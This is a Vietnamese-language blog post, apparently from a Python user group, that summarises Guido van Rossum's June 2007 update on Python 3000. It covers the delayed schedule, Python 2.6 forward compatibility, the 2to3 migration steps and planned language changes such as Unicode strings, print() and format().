<li>Xem qua chỉ mục các gói Python (còn được biết đến là <em>Cửa hàng phô mai</em>, Cheese Shop)</li>
<li>Tìm qua mạng</li>
</ul>
</div>
Cập nhật tình hình Python 30002007-06-22T02:02:00+07:002007-06-22T02:02:00+07:00Nhóm PCNVtag:None,2007-06-22:2007/06/cap-nhat-tinh-hinh-python-3000.html<p>Ngày 19 tháng 06 năm 2007, Guido van Rossum, tác giả ngôn ngữ Python, gửi lên mạng một bài cập nhật về tình hình phát triển Python 3000. Bài lược dịch (từ trang <a class="reference external" href="http://www.artima.com/weblogs/viewpost.jsp?thread=208549">http://www.artima.com/weblogs/viewpost.jsp?thread=208549</a>) này tóm tắt về khoảng trượt kế hoạch …</p><p>Ngày 19 tháng 06 năm 2007, Guido van Rossum, tác giả ngôn ngữ Python, gửi lên mạng một bài cập nhật về tình hình phát triển Python 3000. Bài lược dịch (từ trang <a class="reference external" href="http://www.artima.com/weblogs/viewpost.jsp?thread=208549">http://www.artima.com/weblogs/viewpost.jsp?thread=208549</a>) này tóm tắt về khoảng trượt kế hoạch 2 tháng và nhiều tính năng mới.</p>
<div class="section" id="nhin-chung-ve-ke-hoach">
<h2>Nhìn chung về kế hoạch</h2>
<div class="section" id="lich-su">
<h3>Lịch sử</h3>
<p>Guido nghĩ đến ý tưởng về Python 3000 (tên được đặt ra nhằm để chế giễu Windows 2000) vào khoảng năm 2000, trong một hội thảo Python. Theo đó, Python 3000 sẽ là bản đầu tiên bỏ qua tính tương thích ngược để tạo ra một ngôn ngữ tốt nhất cho sau này.</p>
</div>
<div class="section" id="dien-bien-gan-day">
<h3>Diễn biến gần đây</h3>
<p>Khoảng một năm rưỡi trước, Guido thật sự bắt đầu thiết kế Python 3000. Hàng loạt đề xuất cải tiến Python (Python Enhancement Proposal, PEP) ra đời được đặt số thứ tự từ 3000 trở lên (PEP 3000 trước đó được đổi thành PEP 3100). <a class="reference external" href="http://python.org/dev/peps/pep-3000/">PEP 3000</a> trở thành tài liệu chính về tư tưởng và kế hoạch của Python 3000.</p>
<p>Từ đó, việc phát triển đã chảy dưới chân cầu <a class="reference external" href="http://mail.python.org/pipermail/python-dev/">python-dev</a>, và sau đó được chuyển hẳn qua <a class="reference external" href="http://mail.python.org/pipermail/python-3000/">python-3000</a>.</p>
</div>
<div class="section" id="ke-hoach-du-tinh">
<h3>Kế hoạch dự tính</h3>
<p>Lịch trình được thông báo khoảng một năm trước và nhắm vào cuối tháng 06 năm 2007 sẽ có bản alpha đầu tiên và vào một năm sau có bản cuối cùng (Python 3.0 là dấu hiệu phiên bản khi nó được phát hành; "Python 3000" hay "Py3k" là tên mã của dự án).</p>
<p>Kế hoạch này đã bị trễ một chút. Hiện tại chúng ta dự tính khoảng cuối tháng 08 mới có bản alpha, và dĩ nhiên bản cuối cùng cũng bị trễ hai tháng. Lý do chính cho sự trễ này chủ yếu là do việc chuyển qua sử dụng Unicode toàn bộ.</p>
</div>
<div class="section" id="python-2-6">
<h3>Python 2.6</h3>
<p>Phiên bản “đồng hành” 2.6 sẽ ra lò vài tháng trước 3.0. Nếu bạn không thích sử dụng phiên bản mới nhất, thì 2.6 sẽ là phiên bản bạn sẽ dùng, và nó sẽ không khác gì mấy so với 2.5.</p>
</div>
</div>
<div class="section" id="tinh-tuong-thich-va-su-chuyen-doi">
<h2>Tính tương thích và sự chuyển đổi</h2>
<div class="section" id="tinh-tuong-thich">
<h3>Tính tương thích</h3>
<p>Python 3.0 sẽ phá vỡ tính tương thích ngược. Toàn bộ.</p>
<p>Ngược lại, Python 2.6 sẽ giữ vững tính tương thích ngược với Python 2.5 (và các phiên bản khác có thể), và nó cũng sẽ hỗ trợ tương thích tiến, theo những lối sau:</p>
<ul class="simple">
<li>Python 2.6 sẽ hỗ trợ <em>chế độ cảnh báo Py3k</em> và sẽ cảnh báo khi chạy những tính năng mà sẽ không còn hoạt động trong Python 3.0, ví dụ như khi nghĩ hàm range() trả về một danh sách.</li>
<li>Python 2.6 sẽ có những chức năng từ Py3k, kích hoạt bằng <tt class="docutils literal">__future__</tt> hoặc sử dụng cả cú pháp mới lẫn cú pháp cũ (nếu cú pháp không hợp lệ trong 2.5).</li>
<li>Cùng với tính tương thích tiến, sẽ có một <a class="reference external" href="http://svn.python.org/view/sandbox/trunk/2to3/">công cụ chuyển đổi mã nguồn</a>. Công cụ này có thể dịch từ-nguồn-tới-nguồn theo chế độ phi ngữ cảnh. Lấy một ví dụ thật đơn giản, nó có thể dịch <tt class="docutils literal">apply(f, args)</tt> thành <tt class="docutils literal"><span class="pre">f(*args)</span></tt>. Tuy nhiên, công cụ này không thể khảo sát dữ liệu hoặc phỏng đoán kiểu cho nên nó chỉ đơn giản giả định rằng <tt class="docutils literal">apply</tt> trong ví dụ này là hàm có sẵn trong phiên bản cũ.</li>
</ul>
</div>
<div class="section" id="viec-chuyen-doi">
<h3>Việc chuyển đổi</h3>
<p>Mô hình phát triển một kế hoạch mà cần hỗ trợ cả 2.6 và 3.0 cùng lúc được khuyến khích như sau:</p>
<ol class="arabic simple">
<li>Bắt đầu bằng hàng loạt các kiểm tra đơn vị (unit test), tốt nhất là bao trùm toàn bộ.</li>
<li>Chuyển kế hoạch qua Python 2.6.</li>
<li>Bật chế độ cảnh báo Py3k.</li>
<li>Kiểm tra và chỉnh sửa cho đến khi không còn cảnh báo.</li>
<li>Dùng công cụ <em>2to3</em> để chuyển mã nguồn này sang cú pháp 3.0. <strong>Không sửa kết quả bằng tay!</strong>.</li>
<li>Kiểm tra mã nguồn đã đổi ở 3.0.</li>
<li>Nếu phát hiện vấn đề thì sửa mã cho phiên bản <strong>2.6</strong> và quay lại bước 3.</li>
<li>Khi cần phát hành, phát hành hai bản 2.6 và 3.0 riêng biệt.</li>
</ol>
<p>Nếu công cụ chuyển đổi và tính tương thích tiến trong Python 2.6 làm việc tốt, các bước từ 2 đến 6 sẽ không cần nhiều hơn những gì cần thiết để chuyển từ Python 2.x lên 2.(x+1).</p>
</div>
</div>
<div class="section" id="tinh-hinh-cua-nhung-tinh-nang-rieng-le">
<h2>Tình hình của những tính năng riêng lẻ</h2>
<p>Có rất nhiều thay đổi để liệt kê hết ra ở đây nên chỉ những tính năng quan trọng, hoặc có mâu thuẫn sẽ được nhắc đến.</p>
<div class="section" id="unicode-codec-va-i-o">
<h3>Unicode, Codec và I/O</h3>
<p>Chúng ta đang chuyển qua mô hình được biết đến ở Java: các chuỗi (bất biến, immutable) là Unicode, và dữ liệu nhị phân được biểu diễn bởi một kiểu <em>byte</em> dữ liệu khả biến (mutable) riêng. Hơn nữa, trình phân tích cú pháp sẽ sử dụng được cả Unicode: bảng mã mặc định của mã nguồn sẽ là UTF-8, các ký tự không nằm trong bảng ASCII có thể được dùng trong tên chỉ định (identifier). Vẫn còn nhiều vấn đề về chuẩn hóa, một vài ký tự cụ thể, và việc hỗ trợ các ngôn ngữ từ phải qua trái. Dù vậy, bộ thư viện chuẩn sẽ tiếp tục dùng ASCII cho các tên chỉ định và hạn thế các ký tự không ASCII trong ghi chú và các chuỗi trong kiểm tra đơn vị cho các tính năng Unicode và tên tác giả.</p>
<p>Chúng ta dùng <tt class="docutils literal"><span class="pre">"..."</span></tt> hay <tt class="docutils literal"><span class="pre">'...'</span></tt> cho các chuỗi Unicode, và <tt class="docutils literal"><span class="pre">b"..."</span></tt> hay <tt class="docutils literal"><span class="pre">b'...'</span></tt> cho các byte. Ví dụ, <tt class="docutils literal">b'abc'</tt> có nghĩa là tạo một đối tượng byte y như kết quả của <tt class="docutils literal"><span class="pre">bytes([97,</span> 98, 99])</tt>.</p>
<p>Chúng ta sẽ theo một hướng khác với các codec: trong Python 2, các codec có thể nhận Unicode hoặc 8-bit như đầu nhập và xuất, trong Py3k, mã hóa (encoding) luôn luôn là từ một chuỗi Unicode thành một mảng byte, và giải mã (decoding) luôn luôn đi theo chiều ngược lại. Điều này có nghĩa là chúng ta sẽ bỏ một vài codec không tương thích với mô hình ví dụ như <tt class="docutils literal">rot13</tt>, <tt class="docutils literal">base64</tt> và <tt class="docutils literal">bz2</tt> (những chuyển đổi này sẽ vẫn còn được hỗ trợ, chỉ có điều là không phải qua API mã hóa/giải mã).</p>
</div>
<div class="section" id="thu-vien-i-o-moi">
<h3>Thư viện I/O mới</h3>
<p>Sự phân biệt giữa byte và chuỗi dẫn đến một thay đổi nhỏ trong API. Trong thư viện mới, các dòng nhị phân (binary stream) (khi mở tập tin theo <tt class="docutils literal">rb</tt> hoặc <tt class="docutils literal">wb</tt>) và dòng văn bản (text stream) được phân biệt rõ ràng. Các dòng văn bản có một thuộc tính mới, encoding, có thể được thiết lập khi dòng được mở; nếu encoding không được cho biết trước, mặc định của hệ thống sẽ được dùng.</p>
<p>Việc đọc từ dòng nhị phân sẽ trả về mảng byte, trong khi đọc từ dòng văn bản sẽ trả về chuỗi Unicode; và tương tự cho việc viết. Viết một chuỗi văn bản vào dòng nhị phân hoặc viết mảng byte vào dòng văn bản sẽ dẫn đến ngoại lệ (exception).</p>
<p>Mặc dù vẫn còn hàm <tt class="docutils literal">open()</tt>, định nghĩa đầy đủ của thư viện I/O mới được đặt trong môđun <tt class="docutils literal">io</tt>. Môđun này cũng chứa các lớp khác cho các loại dòng khác nhau, một cài đặt mới của <tt class="docutils literal">StringIO</tt>, và một lớp mới <tt class="docutils literal">BytesIO</tt> giống như <tt class="docutils literal">StringIO</tt> nhưng dùng cho dòng nhị phân, để đọc và viết mảng byte.</p></p>
</div>
<div class="section" id="in-an-va-dinh-dang">
<h3>In ấn và định dạng</h3>
<p>Hai chức năng I/O khác: lệnh <tt class="docutils literal">print</tt> trở thành hàm <tt class="docutils literal">print()</tt>, và phép định dạng chuỗi <tt class="docutils literal">%</tt> sẽ được thay bằng phương thức (method) <tt class="docutils literal">format()</tt> ở các đối tượng chuỗi.</p>
<p>Chuyển <tt class="docutils literal">print</tt> thành một hàm sẽ làm nhiều người suy nghĩ. Tuy nhiên, có một vài điểm tốt ở đây: nó sẽ rất dễ hơn để chuyển từ việc dùng hàm <tt class="docutils literal">print()</tt> thành việc dùng gói <tt class="docutils literal">logging</tt>; và cú pháp <tt class="docutils literal">print</tt> luôn có một ít tranh cãi vì kiểu <tt class="docutils literal"><< file</tt> và ý nghĩa của dấu phẩy cuối cùng.</p>
<p>Tương tự, phương thức <tt class="docutils literal">format()</tt> tránh được một vài điểm xấu của toán tử <tt class="docutils literal">%</tt> cũ, đặc biệt là kết quả bất ngờ của <tt class="docutils literal">"%s" % x</tt> khi x là tuple, và lỗi thường xảy ra khi vô tình bỏ quên <tt class="docutils literal">s</tt> trong <tt class="docutils literal">%(name)s</tt>. Các chuỗi định dạng mới sử dụng <tt class="docutils literal">{0}</tt>, <tt class="docutils literal">{1}</tt>, <tt class="docutils literal">{2}</tt>, ... cho các tham số theo vị trí, và <tt class="docutils literal">{a}</tt>, <tt class="docutils literal">{b}</tt>, ... cho các tham số theo từ khóa. Tính năng khác bao gồm <tt class="docutils literal">{a.b.c}</tt> cho thuộc tính và ngay cả <tt class="docutils literal">{a[b]}</tt> cho dãy hoặc ánh xạ. Độ dài của trường có thể được chỉ định giống như <tt class="docutils literal">{a:8}</tt>; cách viết như vậy cũng hỗ trợ các tùy chọn khác.</p>
<p>Phương thức <tt class="docutils literal">format()</tt> có thể được mở rộng theo nhiều chiều: bằng cách định nghĩa một phương thức <tt class="docutils literal">__format__()</tt> đặc biệt, các kiểu dữ liệu có thể quyết định cách định dạng, cách sử dụng các tham số; bạn cũng có thể tạo các lớp định dạng riêng nhằm để tự động cung cấp biến cục bộ như tham số cho cách định dạng.</p>
</div>
<div class="section" id="cac-thay-doi-ve-lop-va-he-thong-kieu">
<h3>Các thay đổi về lớp và hệ thống kiểu</h3>
<p>Bạn có thể đoán được rằng các lớp cổ điển cuối cùng cũng ra đi. Lớp <tt class="docutils literal">object</tt> sẽ là lớp cơ sở mặc định cho các lớp mới. Điều này tạo chỗ cho những tính năng sau:</p>
<ul>
<li><p class="first">Trang hoàng lớp (Class decorators). Chúng hoạt động như các trang hoàng hàm (function decorators):</p>
<div class="highlight"><pre><span></span><span class="nd">@art_deco</span>
<span class="k">class</span> <span class="nc">C</span><span class="p">:</span>
<span class="o">...</span>
</pre></div>
</li>
<li><p class="first">Ký hiệu hàm và phương thức từ nay có thể được “ghi chú” (annotated). Ngôn ngữ gốc sẽ không đặt ý nghĩa vào các ghi chú này (ngoài việc cung cấp chúng cho việc tự xét, introspection), nhưng một vài thư viện chuẩn sẽ làm vậy; ví dụ, hàm tổng quát (generic function) (xem ở dưới) có thể dùng chúng. Cú pháp cũng dễ đọc:</p>
<div class="highlight"><pre><span></span><span class="k">def</span> <span class="nf">foobar</span><span class="p">(</span><span class="n">a</span><span class="p">:</span> <span class="n">Integer</span><span class="p">,</span> <span class="n">b</span><span class="p">:</span> <span class="n">Sequence</span><span class="p">)</span> <span class="o">-></span> <span class="n">String</span><span class="p">:</span>
<span class="o">...</span>
</pre></div>
</li>
<li><p class="first">Cú pháp siêu lớp (metaclass) mới. Thay vì đặt một biến <tt class="docutils literal">__metaclass__</tt> trong thân lớp, bây giờ bạn phải chỉ định siêu lớp bằng cách dùng thông số từ khóa trong định nghĩa lớp, ví dụ như:</p>
<div class="highlight"><pre><span></span><span class="k">class</span> <span class="nc">C</span><span class="p">(</span><span class="n">bases</span><span class="p">,</span> <span class="n">metaclass</span><span class="o">=</span><span class="n">MyMeta</span><span class="p">):</span>
<span class="o">...</span>
</pre></div>
</li>
<li><p class="first">Từ điển lớp (class dictionary) riêng. Nếu siêu lớp định nghĩa một phương thức <tt class="docutils literal">__prepare__()</tt>, nó sẽ được gọi trước khi vào thân lớp, và giá trị trả về sẽ được dùng thay cho từ điển chuẩn như là vùng tên (namespace) dùng trong thân lớp. Điểm này có thể được sử dụng để cài đặt kiểu <em>cấu trúc</em> (struct) khi thứ tự các phần tử có vai trò quan trọng.</p>
</li>
<li><p class="first">Bạn có thể chỉ định lớp cơ sở lúc chạy, như:</p>
<div class="highlight"><pre><span></span><span class="n">bases</span> <span class="o">=</span> <span class="p">(</span><span class="n">B1</span><span class="p">,</span> <span class="n">B2</span><span class="p">)</span>
<span class="k">class</span> <span class="nc">C</span><span class="p">(</span><span class="o">*</span><span class="n">bases</span><span class="p">):</span>
<span class="o">...</span>
</pre></div>
</li>
<li><p class="first">Các thông số từ khóa khác cũng được cho phép ở đầu đề lớp; chúng được truyền cho phương thức <tt class="docutils literal">__new__</tt> của siêu lớp.</p>
</li>
<li><p class="first">Bạn có thể định nghĩa lại các kiểm tra <tt class="docutils literal">isinstance()</tt> và <tt class="docutils literal">issubclass()</tt>, bằng cách định nghĩa các phương thức <tt class="docutils literal">__instancecheck__()</tt> và <tt class="docutils literal">__subclasscheck__()</tt> của lớp. Khi chúng được định nghĩa, <tt class="docutils literal">isinstance(x, C)</tt> thành tương tự như <tt class="docutils literal">C.__instancecheck__(x)</tt>, và <tt class="docutils literal">issubclass(D, C)</tt> là <tt class="docutils literal">C.__subclasscheck__(D)</tt>.</p>
</li>
<li><p class="first">Lớp cơ sở trừu tượng tự chọn (Voluntary Abstract Base Classes). Nếu bạn muốn định nghĩa một lớp hoạt động như một ánh xạ chẳng hạn, bạn có thể tự giác kế thừa (voluntarily inherit) từ lớp <tt class="docutils literal">abc.Mapping</tt>. Một mặt, lớp này cung cấp các cách thức có ích thay thế gần hết tính năng của các lớp <tt class="docutils literal">UserDict</tt> và <tt class="docutils literal">DictMixin</tt>. Mặt khác, sử dụng các ABC một cách có hệ thống có thể giúp các khung (framework) lớn thực hiện nhiều việc đúng đắn với ít “phỏng đoán” hơn: trong Python 2 khó mà nói rằng một đối tượng là một dãy, hay là một ánh xạ khi nó định nghĩa phương thức <tt class="docutils literal">__getitem__()</tt>. Các ABC sau được cung cấp cho người dùng: <tt class="docutils literal">Hashable</tt>, <tt class="docutils literal">Iterable</tt>, <tt class="docutils literal">Iterator</tt>, <tt class="docutils literal">Sized</tt>, <tt class="docutils literal">Container</tt>, <tt class="docutils literal">Callable</tt>; <tt class="docutils literal">Set</tt>, <tt class="docutils literal">MutableSet</tt>; <tt class="docutils literal">Mapping</tt>, <tt class="docutils literal">MutableMapping</tt>; <tt class="docutils literal">Sequence</tt>, <tt class="docutils literal">MutableSequence</tt>; <tt class="docutils literal">Number</tt>, <tt class="docutils literal">Complex</tt>, <tt class="docutils literal">Real</tt>, <tt class="docutils literal">Rational</tt>, <tt class="docutils literal">Integer</tt>. Môđun <tt class="docutils literal">io</tt> cũng định nghĩa một số ABC cho nên đây là lần đầu tiên Python có một đặc tả cho khái niệm <em>file-like</em> (như kiểu tập tin) u ám. Sức mạnh của khung ABC nằm ở khả năng (ability) (mượn từ các giao tiếp Zope, Zope interface) <em>đăng ký</em> một lớp cụ thể (concrete class) <tt class="docutils literal">X</tt> như <em>kế thừa ảo từ</em> một ABC <tt class="docutils literal">Y</tt>, trong khi <tt class="docutils literal">X</tt> và <tt class="docutils literal">Y</tt> được viết bởi các tác giả khác nhau và có mặt trong các gói khác nhau. (Để làm rõ, khi dùng kế thừa ảo, cách thức của lớp <tt class="docutils literal">Y</tt> không được cung cấp cho lớp <tt class="docutils literal">X</tt>; hiệu quả duy nhất là <tt class="docutils literal">issubclass(X, Y)</tt> sẽ trả về <tt class="docutils literal">True</tt>.)</p>
</li>
<li><p class="first">Để hỗ trợ việc định nghĩa ABC mà cần các lớp cụ thể thật sự cài đặt đầy đủ giao tiếp, trang hoàng <tt class="docutils literal">@abc.abstractmethod</tt> có thể được dùng để khai báo các phương thức trừu tượng (chỉ dùng trong các lớp mà siêu lớp là, hoặc, kế thừa từ <tt class="docutils literal">abc.ABCMeta</tt>).</p>
</li>
<li><p class="first">Hàm tổng quát (generic functions). Việc thêm vào chức năng này, được trình bày trong PEP 3124, có vẻ chưa rõ lắm, vì PEP này có vẻ đã dậm chân tại chỗ. Hy vọng rằng nó sẽ được tiếp tục. Nó hỗ trợ sự chuyển hàm (function dispatch) dựa vào kiểu của các tham số, thay vì kiểu thông thường chỉ dựa vào lớp của đối tượng đích (target object).</p>
</li>
</ul>
</div>
<div class="section" id="cac-thay-doi-lon-khac">
<h3>Các thay đổi lớn khác</h3>
<p>Chỉ một vài điểm sáng.</p>
<div class="section" id="sua-doi-ve-ngoai-le">
<h4>Sửa đổi về ngoại lệ</h4>
<ul class="simple">
<li>Các ngoại lệ chuỗi (string exception) không còn dùng.</li>
<li>Mọi ngoại lệ phải bắt nguồn từ <tt class="docutils literal">BaseException</tt> và tốt hơn là từ <tt class="docutils literal">Exception</tt>.</li>
<li>Chúng ta sẽ bỏ <tt class="docutils literal">StandardException</tt>.</li>
<li>Ngoại lệ không còn hoạt động như dãy nữa. Thay vào đó chúng có một thuộc tính <tt class="docutils literal">args</tt> chứa tham số được truyền vào hàm khởi tạo (constructor).</li>
<li>Cú pháp <tt class="docutils literal">except E, e:</tt> được đổi thành <tt class="docutils literal">except E as e</tt>. Điều này tránh những lẫn lộn hay gặp như <tt class="docutils literal">except E1, E2:</tt>.</li>
<li>Tên biến đằng sau <tt class="docutils literal">as</tt> trong câu <tt class="docutils literal">except</tt> bị ép xóa thẳng ngay khi thoát khỏi câu <tt class="docutils literal">except</tt>.</li>
<li><tt class="docutils literal">sys.exc_info()</tt> trở nên dư thừa (hoặc có thể biến mất): thay vào đó, <tt class="docutils literal">e.__class__</tt> là kiểu ngoại lệ, và <tt class="docutils literal">e.__traceback__</tt> là vết ngược.</li>
<li>Những thuộc tính tùy chọn như <tt class="docutils literal">__context__</tt> được thiết lập là ngoại lệ <em>trước</em> khi một ngoại lệ xảy ra trong câu <tt class="docutils literal">except</tt> hay <tt class="docutils literal">finally</tt>; <tt class="docutils literal">__cause__</tt> có thể được thiết lập trực tiếp khi nâng ngoại lệ (raise exception) bằng cách dùng <tt class="docutils literal">raise E1 from E2</tt>.</li>
<li>Các biến thể cũ của cú pháp <tt class="docutils literal">raise</tt> như <tt class="docutils literal">raise E, e</tt> và <tt class="docutils literal">raise E, e, tb</tt> biến mất.</li>
</ul>
</div>
<div class="section" id="sua-doi-ve-so-nguyen">
<h4>Sửa đổi về số nguyên</h4>
<ul class="simple">
<li>Sẽ chỉ có một kiểu số nguyên tên là <tt class="docutils literal">int</tt> với cách thức của <tt class="docutils literal">long</tt> trong Python 2. Hậu tố <tt class="docutils literal">L</tt> biến mất.</li>
<li><tt class="docutils literal">1/2</tt> sẽ trả về 0.5, không phải 0. (Dùng <tt class="docutils literal"><span class="pre">1//2</span></tt> nếu cần điều đó.)</li>
<li>Cú pháp của số bát phân đổi thành <tt class="docutils literal">0o777</tt>, để tránh gây ra khó hiểu cho người mới.</li>
<li>Số nhị phân: <tt class="docutils literal">0b101 == 5</tt>, <tt class="docutils literal">bin(5) == '0b101'</tt>.</li>
</ul>
</div>
<div class="section" id="bo-lap-iterator-hoac-kha-lap-iterable-thay-the-danh-sach-list">
<h4>Bộ lặp (Iterator) hoặc khả lặp (Iterable) thay thế danh sách (List)</h4>
<ul class="simple">
<li><tt class="docutils literal">dict.keys()</tt> và <tt class="docutils literal">dict.items()</tt> trả về tập hợp; <tt class="docutils literal">dict.values()</tt> trả về một cách nhìn khả lập (iterable view). Các phương thức <tt class="docutils literal"><span class="pre">iter*()</span></tt> khác biến mất.</li>
<li><tt class="docutils literal">range()</tt> trả về kiểu đối tượng mà <tt class="docutils literal">xrange()</tt> đã từng làm; <tt class="docutils literal">xrange()</tt> biến mất.</li>
<li><tt class="docutils literal">zip()</tt>, <tt class="docutils literal">map()</tt>, <tt class="docutils literal">filter()</tt> trả về các đối tượng khả lặp (như những hàm tương tự trong <tt class="docutils literal">itertools</tt>).</li>
</ul>
</div>
<div class="section" id="cac-diem-khac">
<h4>Các điểm khác</h4>
<ul class="simple">
<li>So sánh hơn kém (<tt class="docutils literal"><</tt>, <tt class="docutils literal"><=</tt>, <tt class="docutils literal">></tt>, <tt class="docutils literal">>=</tt>) sẽ nâng <tt class="docutils literal">TypeError</tt> thay vì trả về kết quả bất định. So sánh bằng (<tt class="docutils literal">==</tt>, <tt class="docutils literal">!=</tt>) mặc định sẽ so sánh tính đồng nhất của hai đối tượng (<tt class="docutils literal">is</tt>, <tt class="docutils literal">is not</tt>).</li>
<li>Câu lệnh <tt class="docutils literal">nonlocal</tt> cho phép bạn gán vào các biến ở vòng ngoài (không phải toàn cục) (outer, non-global scope).</li>
<li>Lệnh gọi <tt class="docutils literal">super()</tt> mới: Gọi <tt class="docutils literal">super()</tt> không tham số tương đương với <tt class="docutils literal"><span class="pre">super(<this_class>,</span> <first_arg>)</tt>. <tt class="docutils literal">super()</tt> có thể dùng trong phương thức đối tượng hoặc phương thức của lớp.</li>
<li>Tập hợp: <tt class="docutils literal">{1, 2, 3}</tt> và ngay cả bao hàm tập hợp (set comprehension): <tt class="docutils literal">{x for x in y if P(x)}</tt>. Chú ý rằng tập hợp rỗng là <tt class="docutils literal">set()</tt>, vì <tt class="docutils literal">{}</tt> là một từ điển rỗng!</li>
<li><tt class="docutils literal">reduce()</tt> biến mất (thật ra là chuyển vào <tt class="docutils literal">functools</tt>). Nó cho thấy rằng hầu hết các mã dùng <tt class="docutils literal">reduce()</tt> có thể trở nên dễ đọc hơn khi được viết lại bằng vòng lặp <tt class="docutils literal">for</tt>. (<a class="reference external" href="http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/148061">Ví dụ</a>.)</li>
<li>lambda vẫn tồn tại.</li>
<li>Cú pháp dấu phẩy ngược (backtick), thường khó đọc, biến mất (thay vào đó dùng <tt class="docutils literal">repr()</tt>), cũng như toán tử <tt class="docutils literal"><></tt> (thay vào đó nên dùng <tt class="docutils literal">!=</tt>).</li>
<li>Ở mức C, sẽ có một API bộ đệm mới, tốt hơn nhiều và sẽ cung cấp kết nối tốt hơn cho numpy (PEP 3118).</li>
</ul>
</div>
</div>
<div class="section" id="sua-doi-ve-thu-vien">
<h3>Sửa đổi về thư viện</h3>
<p>Guido không muốn nói nhiều về các thay đổi ở thư viện chuẩn vì nó sẽ chỉ được thực hiện khi 3.0a1 ra đời. Vẫn rõ ràng thấy được là chúng ta sẽ bỏ nhiều thứ hết hạn hoặc không còn được hỗ trợ (ví dụ như nhiều môđun chỉ chạy với SGI IRIX), và chúng ta sẽ cố đổi tên các môđun sử dụng TênHoa như <tt class="docutils literal">StringIO</tt> hay <tt class="docutils literal">UserDict</tt>, để tương hợp với chuẩn đặt tên của PEP 8 (yêu cầu tên ngắn, toàn chữ thường cho môđun).</p>
</div>
<div class="section" id="va-cuoi-cung">
<h3>Và cuối cùng</h3>
<p>Guido muốn nhấn mạnh rằng lambda sẽ vẫn tồn tại.</p>
</div>
</div>